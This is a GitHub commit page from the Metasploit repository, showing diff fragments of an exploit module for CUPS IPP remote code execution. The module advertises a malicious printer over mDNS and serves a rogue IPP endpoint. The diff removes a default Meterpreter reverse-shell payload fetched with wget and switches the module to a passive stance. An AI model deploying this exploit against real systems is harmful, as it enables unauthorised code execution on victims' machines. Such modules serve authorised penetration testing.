Skip to content

Commit

Permalink
Remove some unnecessary code, switch to passive stance
Browse files Browse the repository at this point in the history
  • Loading branch information
smcintyre-r7 committed Nov 21, 2024
1 parent 4951a9b commit 24d3ef1
Show file tree
Hide file tree
Showing 2 changed files with 28 additions and 37 deletions.
3 changes: 3 additions & 0 deletions lib/rex/proto/dns/server.rb
Original file line number Diff line number Diff line change
Expand Up @@ -9,8 +9,11 @@ module DNS
class Server

class MockDnsClient
extend Forwardable
attr_reader :peerhost, :peerport, :srvsock

def_delegators :@srvsock, :localhost, :localport, :sendto

#
# Create mock DNS client
#
Expand Down
62 changes: 25 additions & 37 deletions modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb
Original file line number Diff line number Diff line change
Expand Up @@ -133,20 +133,10 @@ def initialize(info = {})
'Platform' => %w[linux unix],
'Arch' => [ARCH_CMD],
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
'FETCH_COMMAND' => 'WGET',
'RPORT' => 443,
'SSL' => true,
'FETCH_WRITABLE_DIR' => '/var/tmp',
# Three hours by default, but can be modified for longer or shorter listening periods
'WfsDelay' => 10_800
'FETCH_WRITABLE_DIR' => '/var/tmp'
},
'Actions' => [
['Service', { 'Description' => 'Run mDNS service' }]
],
'PassiveActions' => [
'Service'
],
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultAction' => 'Service',
'DefaultTarget' => 0,
'DisclosureDate' => '2024-09-26',
Expand All @@ -171,41 +161,48 @@ def initialize(info = {})

register_options(
[
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF']),
OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/),
OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']),
OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575])
]
)
end

def validate
super

if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.'})
end

# Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured
unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local
raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' })
end
end

#
# Wrapper for service execution and cleanup
#
def exploit
if datastore['SRVHOST'] == '0.0.0.0'
fail_with(Failure::BadConfig, 'SRVHOST must be set to a specific address, not 0.0.0.0')
end
@printer_uuid = SecureRandom.uuid
start_mdns_service
start_ipp_service
print_status("Services started. Printer '#{datastore['PrinterName']}' is being advertised")
print_status("The exploit will continue listening for the next #{datastore['WfsDelay']} seconds")
service.wait
rescue Rex::BindFailed => e
print_error "Failed to bind to port: #{e.message}"
end

# mDNS code below

def start_mdns_service
comm = _determine_server_comm(bindhost)
self.service = Rex::ServiceManager.start(
Rex::Proto::MDNS::Server,
'0.0.0.0',
5353,
false,
nil,
comm,
Rex::Socket::Comm::Local,
{ 'Msf' => framework, 'MsfExploit' => self }
)

Expand Down Expand Up @@ -355,23 +352,14 @@ def create_ipp_response(version_major, version_minor, request_id)
# IPP servers communicate using a binary protocol via HTTP
#
def start_ipp_service
comm = _determine_server_comm(datastore['SRVHOST'])

# If the IPP web service is still present from a previous run, initialize state
if service2
service2.remove_resource('/ipp/print')
service2.stop
self.service2 = nil
end

# Start the IPP web service
self.service2 = Rex::ServiceManager.start(
Rex::Proto::Http::Server,
datastore['SRVPORT'],
datastore['SRVHOST'],
srvport,
srvhost,
false,
{ 'Msf' => framework, 'MsfExploit' => self },
comm
Rex::Socket::Comm::Local
)

# Register a route for queries to the printer
Expand Down Expand Up @@ -418,9 +406,9 @@ def start_ipp_service
end,
'Path' => '/ipp/print')

print_status("IPP service started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
print_status("IPP service started on #{Rex::Socket.to_authority(srvhost, srvport)}")
rescue Rex::BindFailed => e
vprint_error("Failed to bind IPP web service to #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
vprint_error("Failed to bind IPP web service to #{Rex::Socket.to_authority(srvhost, srvport)}")
raise e
end

Expand Down Expand Up @@ -537,7 +525,7 @@ def on_dispatch_mdns_request(cli, data)
'pdl=application/postscript,application/pdf',
# The "adminurl" value may or may not be queried, depending on the victim type
# Points to our malicious HTTP IPP service
"adminurl=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}",
"adminurl=http://#{Rex::Socket.to_authority(srvhost, srvport)}",
'priority=0',
'color=T',
'duplex=T',
Expand Down Expand Up @@ -582,15 +570,15 @@ def on_dispatch_mdns_request(cli, data)
def on_send_mdns_response(cli, data)
# This peerhost reassign is really clunky, but I struggled to get Metasploit to associate an existing request from a client with a multicast response addr any other way
# Unfortunately, I believe multicast traffic can't be tunnelled through Meterpreter agents, so this exploit will not work over pivots
cli.instance_variable_set(:@peerhost, '224.0.0.251')

# Log to console in VERBOSE mode, then write response
vprint_status("Sending response via #{Rex::Socket.to_authority(cli.peerhost, cli.peerport)}")
cli.write(data)
cli.sendto(data, '224.0.0.251', cli.peerport)
end

def cleanup
super

if service2
# Remove the IPP resource before stopping the HTTP service
service2.remove_resource('/ipp/print')
Expand Down

0 comments on commit 24d3ef1

Please sign in to comment.